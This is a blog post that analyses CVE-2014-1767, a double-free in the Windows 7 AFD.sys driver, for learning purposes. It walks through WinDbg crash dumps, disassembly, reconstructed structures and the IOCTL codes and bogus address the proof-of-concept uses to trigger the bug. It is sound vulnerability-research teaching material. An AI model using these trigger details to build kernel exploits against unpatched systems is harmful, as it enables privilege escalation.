Watch & Learn

Debugwar Blog

Step in or Step over, this is a problem ...

CVE-2014-1767 Analysis Report

2022-03-12 @ UTC+0

NLE (Noob Learning Exploit) - A series for greasy middle-aged anti-virus personnel learning about vulnerabilities, although I prefer the more literary name: The Series of Morning Flowers and Evening Pickings.
 
Because I fell into the pit of binary reversing, I initially aimed to dig for vulnerabilities, but who knew the road would veer off course. Now I’m reopening a pit, deciding to follow in the footsteps of predecessors in the field, and re-examine old vulnerabilities, which can be considered as fulfilling the dreams of my youth.
 
Of course, friends with masochistic tendencies can also see in this series how the author sets all kinds of inexplicable assumptions to torture himself… ;)
 
Introduction This vulnerability is a privilege escalation vulnerability announced by the Siberas team at Pwn2014. This vulnerability appears in the AFD.sys file, and the POC will trigger the vulnerability in the form of DoubleFree. The exploitation idea is to construct the Exploit by converting the DoubleFree vulnerability into UAF.
 
The debugging environment of this article is Windows 7 SP1 x86, debugged through dual virtual machines. This is different from the environment of the vulnerability discoverer in reference 1, so some details are also different (for example, the memory mentioned in the PDF of the vulnerability discoverer is NonPagedPoolNx, while ours is NonPagePool).
 
The cause of this vulnerability is simple, and the exploitation idea is also very classic, so it is extremely suitable for novices as an entry-level vulnerability for learning.
 

Vulnerability Trigger

Vulnerability trigger scene

The vulnerability trigger scene is as follows:

  1. *******************************************************************************    
  2. *                                                                             *    
  3. *                        Bugcheck Analysis                                    *    
  4. *                                                                             *    
  5. *******************************************************************************    
  6.     
  7. BAD_POOL_CALLER (c2)    
  8. The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.    
  9. Arguments:    
  10. Arg1: 00000007, Attempt to free pool which was already freed    
  11. Arg2: 00001097, Pool tag value from the pool header    
  12. Arg3: 08b50005, Contents of the first 4 bytes of the pool header    
  13. Arg4: 8757da60, Address of the block of pool being deallocated    
  14.     
  15. Debugging Details:    
  16. ------------------    
  17.     
  18. KEY_VALUES_STRING: 1    
  19.     
  20.     Key  : Analysis.CPU.mSec    
  21.     Value: 5140    
  22.     
  23.     Key  : Analysis.DebugAnalysisManager    
  24.     Value: Create    
  25.     
  26.     Key  : Analysis.Elapsed.mSec    
  27.     Value: 17640    
  28.     
  29.     Key  : Analysis.Init.CPU.mSec    
  30.     Value: 3765    
  31.     
  32.     Key  : Analysis.Init.Elapsed.mSec    
  33.     Value: 107564    
  34.     
  35.     Key  : Analysis.Memory.CommitPeak.Mb    
  36.     Value: 69    
  37.     
  38.     Key  : WER.OS.Branch    
  39.     Value: win7sp1_rtm    
  40.     
  41.     Key  : WER.OS.Timestamp    
  42.     Value: 2010-11-19T18:50:00Z    
  43.     
  44.     Key  : WER.OS.Version    
  45.     Value: 7.1.7601.17514    
  46.     
  47.     
  48. BUGCHECK_CODE:  c2    
  49.     
  50. BUGCHECK_P1: 7    
  51.     
  52. BUGCHECK_P2: 1097    
  53.     
  54. BUGCHECK_P3: 8b50005    
  55.     
  56. BUGCHECK_P4: ffffffff8757da60    
  57.     
  58. POOL_ADDRESS:  8757da60 Nonpaged pool    
  59.     
  60. FREED_POOL_TAG:  Mdl_    
  61.     
  62. PROCESS_NAME:  CVE-2014-1767.exe    
  63.     
  64. STACK_TEXT:      
  65. 80f6454c 83ce6589     00000003 610826c5 00000065 nt!RtlpBreakWithStatusInstruction    
  66. 80f6459c 83ce7085     00000003 8757da58 000001ff nt!KiBugCheckDebugBreak+0x1c    
  67. 80f64960 83d2cc4e     000000c2 00000007 00001097 nt!KeBugCheck2+0x68b    
  68. 80f649d8 83c8276a     8757da60 00000000 89136350 nt!ExFreePoolWithTag+0x1b2    
  69. 80f649ec 8e3a6eb0     8757da60 00000000 8e38989f nt!IoFreeMdl+0x70    
  70. 80f64a08 8e3898ac     00000000 00000001 0ec1bfa8 afd!AfdReturnTpInfo+0xad    
  71. 80f64a44 8e38abba     0ec1bf00 000120c3 8e38aa8c afd!AfdTliGetTpInfo+0x89    
  72. 80f64aec 8e38f2bc     89067880 87610030 80f64b14 afd!AfdTransmitPackets+0x12e    
  73. 80f64afc 83c43047     87610030 890a8ee0 890a8ee0 afd!AfdDispatchDeviceControl+0x3b    
  74. 80f64b14 83e199d5     89067880 890a8ee0 890a8fbc nt!IofCallDriver+0x63    
  75. 80f64b34 83e1bdc8     87610030 89067880 00000000 nt!IopSynchronousServiceTail+0x1f8    
  76. 80f64bd0 83e22d9d     87610030 890a8ee0 00000000 nt!IopXxxControlFile+0x6aa    
  77. 80f64c04 83c4987a     00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a    
  78.     <Intermediate frames may have been skipped due to lack of complete unwind>    
  79. 80f64c04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a    
  80.     <Intermediate frames may have been skipped due to lack of complete unwind>    
  81. 002cf478 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet    
  82. 002cf47c 75a0989d     00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc    
  83. 002cf4dc 75d2a671     00000050 000120c3 01326200 KERNELBASE!DeviceIoControl+0xf6    
  84. 002cf508 013217be     00000050 000120c3 01326200 kernel32!DeviceIoControlImplementation+0x80    
  85. WARNING: Stack unwind information not available. Following frames may be wrong.    
  86. 002cf6f8 01321396     00000012 000c0ffc 000c0fec CVE_2014_1767+0x17be    
  87. 002cf798 75d33c45     00000000 75d33c45 7ffd9000 CVE_2014_1767+0x1396    
  88. 002cf7ac 778937f5     7ffd9000 77be9209 00000000 kernel32!BaseThreadInitThunk+0xe    
  89. 002cf7ec 778937c8     013214c0 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70    
  90. 002cf804 00000000     013214c0 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b    
  91.     
  92.     
  93. SYMBOL_NAME:  afd!AfdReturnTpInfo+ad    
  94.     
  95. MODULE_NAME: afd    
  96.     
  97. IMAGE_NAME:  afd.sys    
  98.     
  99. STACK_COMMAND:  .thread ; .cxr ; kb    
  100.     
  101. FAILURE_BUCKET_ID:  0xc2_7_Mdl__afd!AfdReturnTpInfo+ad    
  102.     
  103. OS_VERSION:  7.1.7601.17514    
  104.     
  105. BUILDLAB_STR:  win7sp1_rtm    
  106.     
  107. OSPLATFORM_TYPE:  x86    
  108.     
  109. OSNAME:  Windows 7    
  110.     
  111. FAILURE_ID_HASH:  {7fe1e721-1d80-7be3-9354-8d3b5b5ab1ef}    
  112.     
  113. Followup:     MachineOwner    
  114. ---------    

From the above line 69, it is known that a Double Free error occurred when IoFreeMdl was releasing 8757da60. At this point, several questions naturally arise:
 
  1. Why is there a DoubleFree? <— Ultimate question
  2. Where was this MDL 8757da60 allocated?
  3. Where was it released for the first time?
  4. Where was it released for the second time?
 
Among them, the fourth question can be answered immediately, because the current scene is the second release scene.
 
To answer the first ultimate question above, we need to clarify questions 2 and 3 first.
 

Looking for the timing of memory allocation

(Note: Since this vulnerability is a kernel-level vulnerability, the debugging process requires constant restarts, so there will be differences in the places involving memory addresses in the screenshots below.)
 
Since we are looking for the memory allocation of Mdl, let’s first take a look at the cross-reference of IoAllocateMdl calls:



Emmm… I gave up the idea of looking for it one by one.

Then I wanted to use a conditional breakpoint to break when IoAllocateMdl returns the address 8757da60. I found that once the breakpoint was set, this address would change - it seemed to be a dead end (later I found that you can always break it if you break it several times).

Most of the analysis articles on the Internet start with the two DeviceIOControl of POC. Based on the principle of self-abuse, the author will assume that we do not know what the content of POC is. This BugCheck is just a kernel-level exception found in the Fuzz environment of vulnerability mining. We will try to get close to the real vulnerability mining environment.

First, let’s look at IDA to see what the context of the scene where the exception occurred is like (note that the data structure obtained from symbol analysis has been loaded in the figure below):


Some friends may be curious about how these data structures are analyzed. Here, the author can only tell you that through AfdReturnTpInfo, AfdTransmitFile, AfdTliGetTpInfo, you can get the following key structures:

  1. struct struc_UnkObj    
  2. {    
  3.   NTSTATUS Status;    
  4.   int Length;    
  5.   PVOID VirtualAddress;    
  6.   PMDL MdlAddress;    
  7.   PFILE_OBJECT Object;    
  8.   int field_14;    
  9. };    
  10.     
  11. struct struc_TPInfo    
  12. {    
  13.   PIRP field_0;    
  14.   int field_4;    
  15.   int field_8;    
  16.   int field_C;    
  17.   int field_10;    
  18.   int field_14;    
  19.   int field_18;    
  20.   PIRP Irp3;    
  21.   struc_UnkObj *UnkObjArray;    
  22.   int field_24;    
  23.   int UnkCounter;    
  24.   int field_2C;    
  25.   int IrpCounter;    
  26.   int field_34;    
  27.   int AfdTransmitIoLength;    
  28.   int field_3C;    
  29.   int field_40;    
  30.   int field_44;    
  31.   int field_48;    
  32.   int field_4C;    
  33.   int field_50;    
  34.   int field_54;    
  35.   int field_58;    
  36.   int field_5C;    
  37.   int field_60;    
  38.   int field_64;    
  39.   int field_68;    
  40.   int field_6C;    
  41.   PIRP Irp;    
  42.   PIRP Irp2;    
  43.   int field_78;    
  44.   int field_7C;    
  45.   int field_80;    
  46.   int field_84;    
  47.   int field_88;    
  48.   int field_8C;    
  49.   int field_90;    
  50.   int field_94;    
  51. };    

Then take a look at the cross-reference of struc_UnkObj->MdlAddress:


It was found that the write operations on the MdlAddress member were all in the AfdTransmitFile function. Then, breakpoints were set at several places where MdlAddress was assigned in the debugger. The situation after the interruption is as follows:


At this time, look at the value of eax (8757da60), and find that it is consistent with the value that IoFreeMdl tried to release when the exception occurred at the beginning of this article. This indicates that we have found the right place to allocate memory:


In fact, to put it simply, struc_TPInfo (v6 and v7) is constructed and initialized by AlfTliGetIpInfo in line 92 of the figure below, and the MdlAddress member of struc_TPInfo->struc_UnkObj (v50 and v11) is allocated by line 122 in the figure below.


It is particularly emphasized that since the memory allocates the struc_TPInfo structure through AfdTliGetTpInfo in line 92 of the figure above, and then allocates an initialized MDL memory by IoAllocateMdl in line 122, the first time IoFreeMdl releases this memory, it will not blue screen (see the next section for details).

Looking for the first release time

OK, since we now know when the memory is allocated, let’s take a look at when this memory was released for the first time.

Set the following breakpoint in WinDbg:

  1. bp nt!IoFreeMdl ".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"

Note that there is a pitfall here. Because the author uses 64-bit WindDBG to debug a 32-bit system, the breakpoint value above is 64-bit. It is found in actual tests that it cannot be interrupted using a 32-bit value.

The interruption is at the following address:

  1. kd> r    
  2. eax=8757da60 ebx=8913b7b8 ecx=00000000 edx=00000000 esi=89107410 edi=89107380    
  3. eip=8e38a48e esp=80e5ca48 ebp=80e5caec iopl=0         nv up ei pl zr na pe nc    
  4. cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246    
  5. afd!AfdTransmitFile+0x170:    
  6. 8e38a48e 89460c          mov     dword ptr [esi+0Ch],eax ds:0023:8910741c=ffffffff    
  7. kd> bp nt!IoFreeMdl ".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"    
  8. kd> bl    
  9.      0 e Disable Clear  83c826fa     0001 (0001) nt!IoFreeMdl ".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"    
  10.     
  11. kd> g    
  12. nt!IoFreeMdl:    
  13. 83c826fa 8bff            mov     edi,edi    
  14. kd> kb    
  15.  # ChildEBP RetAddr      Args to Child                  
  16. 00 80e5ca1c 8e3a6eb0     8757da60 00000000 8e38a840 nt!IoFreeMdl    
  17. 01 80e5ca38 8e38a8c1     00000000 00000001 0ed23f00 afd!AfdReturnTpInfo+0xad    
  18. 02 80e5caec 8e38f2bc     890ad7c0 87610030 80e5cb14 afd!AfdTransmitFile+0x5a3    
  19. 03 80e5cafc 83c43047     87610030 8913b7b8 8913b7b8 afd!AfdDispatchDeviceControl+0x3b    
  20. 04 80e5cb14 83e199d5     890ad7c0 8913b7b8 8913b894 nt!IofCallDriver+0x63    
  21. 05 80e5cb34 83e1bdc8     87610030 890ad7c0 00000000 nt!IopSynchronousServiceTail+0x1f8    
  22. 06 80e5cbd0 83e22d9d     87610030 8913b7b8 00000000 nt!IopXxxControlFile+0x6aa    
  23. 07 80e5cc04 83c4987a     00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a    
  24.     <Intermediate frames may have been skipped due to lack of complete unwind>    
  25. 08 80e5cc04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a    
  26.     <Intermediate frames may have been skipped due to lack of complete unwind>    
  27. 09 0051f498 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet    
  28. 0a 0051f49c 75a0989d     00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc    
  29. 0b 0051f4fc 75d2a671     00000050 0001207f 00156060 KERNELBASE!DeviceIoControl+0xf6  // control code is 0x1207f  
  30. 0c 0051f528 00151774     00000050 0001207f 00156060 kernel32!DeviceIoControlImplementation+0x80    
  31. WARNING: Stack unwind information not available. Following frames may be wrong.    
  32. 0d 0051f718 00151396     00000012 00220ffc 00220fec CVE_2014_1767+0x1774    
  33. 0e 0051f7b8 75d33c45     00000000 00000000 75d33c45 CVE_2014_1767+0x1396    
  34. 0f 0051f7d0 778937f5     7ffde000 77c39b57 00000000 kernel32!BaseThreadInitThunk+0xe    
  35. 10 0051f810 778937c8     001514c0 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70    
  36. 11 0051f828 00000000     001514c0 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b    

The call path was found to be:

AfdTransmitFile -> AfdReturnTpInfo -> IoFreeMdl

Following the call chain:

  1. PAGE:0002C840 loc_2C840:                              ; DATA XREF: .rdata:stru_20A38↑o    
  2. PAGE:0002C840 ;   __except(loc_2C833) // owned by 2C376    
  3. PAGE:0002C840                 mov     esp, [ebp+ms_exc.old_esp]    
  4. PAGE:0002C843                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh    
  5. PAGE:0002C84A                 mov     ebx, [ebp+var_38]    
  6. PAGE:0002C84D    
  7. PAGE:0002C84D loc_2C84D:                              ; CODE XREF: AfdTransmitFile(x,x)+3E↑j    
  8. PAGE:0002C84D                                         ; AfdTransmitFile(x,x)+50↑j ...    
  9. PAGE:0002C84D                 cmp     [ebp+var_19], 0    
  10. PAGE:0002C851                 jz      short loc_2C8A4    
  11. PAGE:0002C853                 mov     ecx, [ebp+var_30]    
  12. PAGE:0002C856                 xor     eax, eax    
  13. PAGE:0002C858                 inc     eax    
  14. PAGE:0002C859                 cmp     [ecx+4], eax    
  15. PAGE:0002C85C                 jb      short loc_2C8A4    
  16. PAGE:0002C85E                 cmp     byte ptr [ebx+20h], 0    
  17. PAGE:0002C862                 jz      short loc_2C89E    
  18. ………………    
  19. PAGE:0002C8A4 loc_2C8A4:                              ; CODE XREF: AfdTransmitFile(x,x)+533↑j    
  20. PAGE:0002C8A4                                         ; AfdTransmitFile(x,x)+53E↑j ...    
  21. PAGE:0002C8A4                 cmp     [ebp+TPInfo], 0    
  22. PAGE:0002C8A8                 jz      short loc_2C8C1    
  23. PAGE:0002C8AA                 mov     eax, [ebp+var_34]    
  24. PAGE:0002C8AD                 mov     eax, [eax+8]    
  25. PAGE:0002C8B0                 shr     eax, 9    
  26. PAGE:0002C8B3                 and     al, 1    
  27. PAGE:0002C8B5                 movzx   eax, al    
  28. PAGE:0002C8B8                 push    eax             ; IsFreeMemory    
  29. PAGE:0002C8B9                 push    [ebp+TPInfo]    ; Entry    
  30. PAGE:0002C8BC                 call    _AfdReturnTpInfo@8 ; AfdReturnTpInfo(x,x)    
  31. PAGE:0002C8C1    
  32. PAGE:0002C8C1 loc_2C8C1:                              ; CODE XREF: AfdTransmitFile(x,x)+58A↑j    
  33. PAGE:0002C8C1                 and     dword ptr [ebx+1Ch], 0    
  34. PAGE:0002C8C5                 mov     eax, [ebp+var_20]    
  35. PAGE:0002C8C8                 mov     [ebx+18h], eax    
  36. PAGE:0002C8CB                 xor     dl, dl          ; PriorityBoost    
  37. PAGE:0002C8CD                 mov     ecx, ebx        ; Irp    
  38. PAGE:0002C8CF                 call    ds:__imp_@IofCompleteRequest@8 ; IofCompleteRequest(x,x)    
  39. PAGE:0002C8D5                 mov     eax, [ebp+var_20]    
  40. PAGE:0002C8D8    
  41. PAGE:0002C8D8 loc_2C8D8:                              ; CODE XREF: AfdTransmitFile(x,x)+4F1↑j    
  42. PAGE:0002C8D8                 call    __SEH_epilog4    
  43. PAGE:0002C8DD                 retn    

We found that this section is exception handling code, its try block is located at 2C376, and this try block just contains the Mdl memory allocation code we traced above:

  1. PAGE:0002C376 ;   __try { // __except at loc_2C840    
  2. PAGE:0002C376                 mov     [ebp+ms_exc.registration.TryLevel], ecx    
  3. PAGE:0002C379                 cmp     byte ptr [ebx+20h], 0    
  4. ……………………    
  5. PAGE:0002C44B    
  6. PAGE:0002C44B loc_2C44B:                              ; CODE XREF: AfdTransmitFile(x,x)+127↑j    
  7. PAGE:0002C44B                 mov     edx, [ebp+FileInformation.Length]    
  8. PAGE:0002C44E                 test    edx, edx        ; Lengt != 0    
  9. PAGE:0002C450                 jbe     short loc_2C4A3 ; no jmp    
  10. PAGE:0002C452                 mov     ecx, [ebp+var_28]    
  11. PAGE:0002C455                 mov     eax, [ecx]    
  12. PAGE:0002C457                 mov     esi, eax    
  13. PAGE:0002C459                 imul    esi, 18h    
  14. PAGE:0002C45C                 add     esi, [edi+20h]    
  15. PAGE:0002C45F                 mov     [ebp+var_2C], esi    
  16. PAGE:0002C462                 inc     eax    
  17. PAGE:0002C463                 mov     [ecx], eax    
  18. PAGE:0002C465                 mov     eax, [ebp+FileInformation.VirtualAddress]    
  19. PAGE:0002C468                 mov     [esi+8], eax    
  20. PAGE:0002C46B                 mov     [esi+4], edx    
  21. PAGE:0002C46E                 mov     dword ptr [esi], 1    
  22. PAGE:0002C474                 test    byte ptr [ebp+FileInformation.field_28], 10h    
  23. PAGE:0002C478                 jz      short loc_2C4A3    
  24. PAGE:0002C47A                 mov     dword ptr [esi], 80000001h    
  25. PAGE:0002C480                 push    0               ; Irp    
  26. PAGE:0002C482                 push    1               ; ChargeQuota    
  27. PAGE:0002C484                 push    0               ; SecondaryBuffer    
  28. PAGE:0002C486                 push    edx             ; Length    
  29. PAGE:0002C487                 push    eax             ; VirtualAddress    
  30. PAGE:0002C488                 call    ds:__imp__IoAllocateMdl@20 ; IoAllocateMdl(x,x,x,x,x)  // This address is the memory allocation point analyzed in the section ‘Looking for the timing of memory allocation’ (refer to the text above). 
  31. PAGE:0002C48E                 mov     [esi+0Ch], eax    
  32. PAGE:0002C491                 test    eax, eax    
  33. PAGE:0002C493                 jz      short loc_2C417    
  34. PAGE:0002C495                 push    0               ; Operation    
  35. PAGE:0002C497                 movzx   ecx, byte ptr [ebx+20h]    
  36. PAGE:0002C49B                 push    ecx             ; AccessMode    
  37. PAGE:0002C49C                 push    eax             ; MemoryDescriptorList    
  38. PAGE:0002C49D                 call    ds:__imp__MmProbeAndLockPages@12 ; MmProbeAndLockPages(x,x,x)  <--- An exception is triggered here, and control is handed over to the exception handling code.    
  39. PAGE:0002C4A3    
  40. ……………………    
  41. PAGE:0002C670                 mov     eax, [ebp+FileInformation.field_28]    
  42. PAGE:0002C673                 mov     [ebx+44h], eax    
  43. PAGE:0002C673 ;   } // starts at 2C376    

Let’s take a look at the debugger scene at the above 30 line address:


Combined with the IoAllocateMdl function prototype:

  1. PMDL IoAllocateMdl(    
  2.   [in, optional]      __drv_aliasesMem PVOID VirtualAddress,    
  3.   [in]                ULONG                  Length,    
  4.   [in]                BOOLEAN                SecondaryBuffer,    
  5.   [in]                BOOLEAN                ChargeQuota,    
  6.   [in, out, optional] PIRP                   Irp    
  7. );    

It is known that the program is currently trying to allocate a block of memory of size 0x0015fcd9 from address 0x13371337. And the "call MmPorbeAndLockPages" instruction at address 8e38a49d in the above figure is trying to lock the Mdl memory just allocated.

Since the memory address in the MDL is (we control, see the analysis below) an illegal address (0x13371337), it causes MmProbeAndLockPage to throw an exception, and the code control is transferred to the exception control block, so it needs to be called in turn:


AfdReturnTpInfo -> IoFreeMdl

This is the exception call chain we found above, and the reason for the first release has been analyzed clearly.

At this time, one thing needs to be noted: After the program calls IoFreeMdl, it does not set the Mdl pointer to NULL, which causes a dangling pointer problem:


In the above figure, Entry is the struc_TPInfo structure. Since here, the elements of struc_TPInfo->UnkObjArray and the sub-elements of this array are not set to NULL, when AfdReturnTpInfo finally releases Entry, if we apply for a struc_TPInfo structure again, we will get a piece of memory that retains the last data, which is where the dangling pointer problem arises.

Bundle 1

Here the author leaves a bundle, this bundle will be related to the construction of POC in the later text.

By analyzing the release timing, it is known that the call chain that caused the first memory release:

CVE_2014_1767-> nt!DeviceIoControl -> afd!DispatchDeviceControl -> afd!AfdTransmitFile

By backtracking the information in the DeviceIoControl call stack, the following several call parameters can be known:

  • Control Code (ControlCode):0x1207f
  • Input buffer address: 0x132606
  • Input buffer length: 0x30

As shown below:


(If you compare the inbuf1 filled in POC now, you can see that the data filled in the POC code starts at the position of 0x1326060+6*0x4 in the above figure, and you can see the illegal address mentioned in the above text: 0x13371337)

Looking for the second memory release timing

The end of the last section mentioned

"If we apply for a struc_TPInfo structure again, we will get a piece of memory that retains the last data"

And through the “Looking for the timing of memory allocation” section, it is known that AfdTliGetTpInfo is responsible for allocating a struc_TPInfo structure.

So how many times does the AfdTliGetTpInfo function call? Look at the picture below:


It can be seen that the AfdTransmitPackets function will also call this function once, which is the point we will analyze in this section.

We continue to execute the g command in windbg to let the program continue to run:

  1. kd> g    
  2. nt!IoFreeMdl:    
  3. 83c826fa 8bff            mov     edi,edi    
  4. kd> kb    
  5.  # ChildEBP RetAddr      Args to Child                  
  6. 00 80e5c9ec 8e3a6eb0     8757da60 00000000 8e38989f nt!IoFreeMdl    
  7. 01 80e5ca08 8e3898ac     00000000 00000001 0ed23fa8 afd!AfdReturnTpInfo+0xad    
  8. 02 80e5ca44 8e38abba     0ed23f00 000120c3 8e38aa8c afd!AfdTliGetTpInfo+0x89    
  9. 03 80e5caec 8e38f2bc     890ad7c0 87610030 80e5cb14 afd!AfdTransmitPackets+0x12e    
  10. 04 80e5cafc 83c43047     87610030 8913b7b8 8913b7b8 afd!AfdDispatchDeviceControl+0x3b    
  11. 05 80e5cb14 83e199d5     890ad7c0 8913b7b8 8913b894 nt!IofCallDriver+0x63    
  12. 06 80e5cb34 83e1bdc8     87610030 890ad7c0 00000000 nt!IopSynchronousServiceTail+0x1f8    
  13. 07 80e5cbd0 83e22d9d     87610030 8913b7b8 00000000 nt!IopXxxControlFile+0x6aa    
  14. 08 80e5cc04 83c4987a     00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a    
  15.     <Intermediate frames may have been skipped due to lack of complete unwind>    
  16. 09 80e5cc04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a    
  17.     <Intermediate frames may have been skipped due to lack of complete unwind>    
  18. 0a 0051f498 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet    
  19. 0b 0051f49c 75a0989d     00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc    
  20. 0c 0051f4fc 75d2a671     00000050 000120c3 00156200 KERNELBASE!DeviceIoControl+0xf6    
  21. 0d 0051f528 001517be     00000050 000120c3 00156200 kernel32!DeviceIoControlImplementation+0x80    
  22. WARNING: Stack unwind information not available. Following frames may be wrong.    
  23. 0e 0051f718 00151396     00000012 00220ffc 00220fec CVE_2014_1767+0x17be    
  24. 0f 0051f7b8 75d33c45     00000000 00000000 75d33c45 CVE_2014_1767+0x1396    
  25. 10 0051f7d0 778937f5     7ffde000 77c39b57 00000000 kernel32!BaseThreadInitThunk+0xe    
  26. 11 0051f810 778937c8     001514c0 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70    
  27. 12 0051f828 00000000     001514c0 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b    
  28. kd> g  // If you execute ‘g’ again here, you can get the BSOD scene at the beginning of this article.  
  29.     
  30. *** Fatal System Error: 0x000000c2    
  31.                        (0x00000007,0x00001097,0x08B50005,0x8757DA60)    
  32.     
  33. Break instruction exception - code 80000003 (first chance)    
  34.     
  35. A fatal system error has occurred.    
  36. Debugger entered on first try; Bugcheck callbacks have not been invoked.    
  37.     
  38. A fatal system error has occurred.    
  39.     
  40. For analysis of this file, run !analyze -v    
  41. nt!RtlpBreakWithStatusInstruction:    
  42. 83c6cd00 cc              int     3    
  43. kd> !analyze -v  // Through the stack analysis below, it can be found that the scene is consistent with the beginning of this article.
  44. Connected to Windows 7 7601 x86 compatible target at (Tue Mar 22 14:02:00.608 2022 (UTC + 8:00)), ptr64 FALSE    
  45. Loading Kernel Symbols    
  46. ...............................................................    
  47. ................................................................    
  48. .    
  49.     
  50. Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.    
  51. Run !sym noisy before .reload to track down problems loading symbols.    
  52.     
  53. .........    
  54. Loading User Symbols    
  55. ................    
  56. Loading unloaded module list    
  57. ...............    
  58. *******************************************************************************    
  59. *                                                                             *    
  60. *                        Bugcheck Analysis                                    *    
  61. *                                                                             *    
  62. *******************************************************************************    
  63.     
  64. BAD_POOL_CALLER (c2)    
  65. The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.    
  66. Arguments:    
  67. Arg1: 00000007, Attempt to free pool which was already freed    
  68. Arg2: 00001097, Pool tag value from the pool header    
  69. Arg3: 08b50005, Contents of the first 4 bytes of the pool header    
  70. Arg4: 8757da60, Address of the block of pool being deallocated    
  71.     
  72. Debugging Details:    
  73. ------------------    
  74.     
  75. *************************************************************************    
  76. ***                                                                   ***    
  77. ***                                                                   ***    
  78. ***    Either you specified an unqualified symbol, or your debugger   ***    
  79. ***    doesn't have full symbol information.  Unqualified symbol      ***    
  80. ***    resolution is turned off by default. Please either specify a   ***    
  81. ***    fully qualified symbol module!symbolname, or enable resolution ***    
  82. ***    of unqualified symbols by typing ".symopt- 100". Note that     ***    
  83. ***    enabling unqualified symbol resolution with network symbol     ***    
  84. ***    server shares in the symbol path may cause the debugger to     ***    
  85. ***    appear to hang for long periods of time when an incorrect      ***    
  86. ***    symbol name is typed or the network symbol server is down.     ***    
  87. ***                                                                   ***    
  88. ***    For some commands to work properly, your symbol path           ***    
  89. ***    must point to .pdb files that have full type information.      ***    
  90. ***                                                                   ***    
  91. ***    Certain .pdb files (such as the public OS symbols) do not      ***    
  92. ***    contain the required information.  Contact the group that      ***    
  93. ***    provided you with these symbols if you need this command to    ***    
  94. ***    work.                                                          ***    
  95. ***                                                                   ***    
  96. ***    Type referenced: kernel32!gpServerNlsUserInfo                  ***    
  97. ***                                                                   ***    
  98. *************************************************************************    
  99.     
  100. KEY_VALUES_STRING: 1    
  101.     
  102.     Key  : Analysis.CPU.mSec    
  103.     Value: 5296    
  104.     
  105.     Key  : Analysis.DebugAnalysisManager    
  106.     Value: Create    
  107.     
  108.     Key  : Analysis.Elapsed.mSec    
  109.     Value: 12813    
  110.     
  111.     Key  : Analysis.Init.CPU.mSec    
  112.     Value: 7218    
  113.     
  114.     Key  : Analysis.Init.Elapsed.mSec    
  115.     Value: 127788    
  116.     
  117.     Key  : Analysis.Memory.CommitPeak.Mb    
  118.     Value: 147    
  119.     
  120.     Key  : WER.OS.Branch    
  121.     Value: win7sp1_rtm    
  122.     
  123.     Key  : WER.OS.Timestamp    
  124.     Value: 2010-11-19T18:50:00Z    
  125.     
  126.     Key  : WER.OS.Version    
  127.     Value: 7.1.7601.17514    
  128.     
  129.     
  130. BUGCHECK_CODE:  c2    
  131.     
  132. BUGCHECK_P1: 7    
  133.     
  134. BUGCHECK_P2: 1097    
  135.     
  136. BUGCHECK_P3: 8b50005    
  137.     
  138. BUGCHECK_P4: ffffffff8757da60    
  139.     
  140. POOL_ADDRESS:  8757da60 Nonpaged pool    
  141.     
  142. FREED_POOL_TAG:  Mdl_    
  143.     
  144. PROCESS_NAME:  CVE-2014-1767.exe    
  145.     
  146. STACK_TEXT:      
  147. 80e5c54c 83ce6589     00000003 611ba6c5 00000065 nt!RtlpBreakWithStatusInstruction    
  148. 80e5c59c 83ce7085     00000003 8757da58 000001ff nt!KiBugCheckDebugBreak+0x1c    
  149. 80e5c960 83d2cc4e     000000c2 00000007 00001097 nt!KeBugCheck2+0x68b    
  150. 80e5c9d8 83c8276a     8757da60 00000000 89107380 nt!ExFreePoolWithTag+0x1b2    
  151. 80e5c9ec 8e3a6eb0     8757da60 00000000 8e38989f nt!IoFreeMdl+0x70    
  152. 80e5ca08 8e3898ac     00000000 00000001 0ed23fa8 afd!AfdReturnTpInfo+0xad    
  153. 80e5ca44 8e38abba     0ed23f00 000120c3 8e38aa8c afd!AfdTliGetTpInfo+0x89    
  154. 80e5caec 8e38f2bc     890ad7c0 87610030 80e5cb14 afd!AfdTransmitPackets+0x12e    
  155. 80e5cafc 83c43047     87610030 8913b7b8 8913b7b8 afd!AfdDispatchDeviceControl+0x3b    
  156. 80e5cb14 83e199d5     890ad7c0 8913b7b8 8913b894 nt!IofCallDriver+0x63    
  157. 80e5cb34 83e1bdc8     87610030 890ad7c0 00000000 nt!IopSynchronousServiceTail+0x1f8    
  158. 80e5cbd0 83e22d9d     87610030 8913b7b8 00000000 nt!IopXxxControlFile+0x6aa    
  159. 80e5cc04 83c4987a     00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a    
  160.     <Intermediate frames may have been skipped due to lack of complete unwind>    
  161. 80e5cc04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a    
  162.     <Intermediate frames may have been skipped due to lack of complete unwind>    
  163. 0051f498 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet    
  164. 0051f49c 75a0989d     00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc    
